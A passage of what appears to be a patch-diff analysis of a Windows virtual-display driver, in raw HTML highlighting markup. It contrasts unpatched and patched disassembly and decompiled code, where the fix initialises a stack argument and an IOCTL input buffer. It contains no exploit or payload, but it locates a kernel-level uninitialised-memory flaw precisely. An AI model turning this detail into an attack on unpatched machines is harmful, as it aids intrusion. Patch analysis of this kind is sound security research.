&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// zero-init near top of function&lt;/span&gt;
&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// zero-init near top of function&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x600000006LL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// {6, 6}; InputBuffer[1] stays 0&lt;/span&gt;
&lt;span class="n"&gt;KeInitializeEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NotificationEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoBuildDeviceIoControlRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x3EC080u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// InputBufferLength = 16, all 16 bytes valid&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;624&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;IoStatusBlock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both variants pass only fully-initialized input; the difference is the declared message length (8 vs 16 bytes).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;Instruction lines below are copied from the authoritative disassembly.&lt;/p&gt;
&lt;h3&gt;Finding A — &lt;code&gt;CrashHvdSendMessage&lt;/code&gt; (0x1C00018B0), call-site region&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00018FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00018FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001902&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callee&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001906&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+48h+var_20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+28h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000190B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+48h+var_28&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+20h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000190F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001913&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;

&lt;span class="n"&gt;PATCHED&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00018FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00018FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001902&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001906&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+48h+var_18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="c1"&gt;-- NEW&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000190A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+48h+var_20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+28h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000190F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001913&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+48h+var_28&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+20h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001917&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The disassembly's frame reference is &lt;code&gt;rsp+0x48&lt;/code&gt;, so &lt;code&gt;var_18 = [rsp+0x30]&lt;/code&gt;, &lt;code&gt;var_20 = [rsp+0x28]&lt;/code&gt;, &lt;code&gt;var_28 = [rsp+0x20]&lt;/code&gt;. The only functional addition is &lt;code&gt;mov [rsp+0x30], ebx&lt;/code&gt; (a dword store of 0) at 0x1C0001906; the &lt;code&gt;ebp&lt;/code&gt; (arg5) store is rescheduled after the &lt;code&gt;lea&lt;/code&gt;. The dispatch target itself is unchanged (&lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;, which forwards to &lt;code&gt;rax = [rsi+0x10]&lt;/code&gt;). Because the new instruction lengthens the block by 4 bytes, the loop epilogue labels shift accordingly (&lt;code&gt;jle&lt;/code&gt; target &lt;code&gt;0x1C000191F → 0x1C0001923&lt;/code&gt;, &lt;code&gt;jmp&lt;/code&gt; target &lt;code&gt;0x1C0001924 → 0x1C0001928&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Finding B — &lt;code&gt;HvdDdiStartDevice&lt;/code&gt; (0x1C00074B0), IOCTL construction&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007CF4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007CFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;340&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D07&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;340&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_2E4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D0B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeInitializeEvent&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D25&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;340&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;EC080h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007D54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoBuildDeviceIoControlRequest&lt;/span&gt;

&lt;span class="n"&gt;PATCHED&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;near&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00074EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
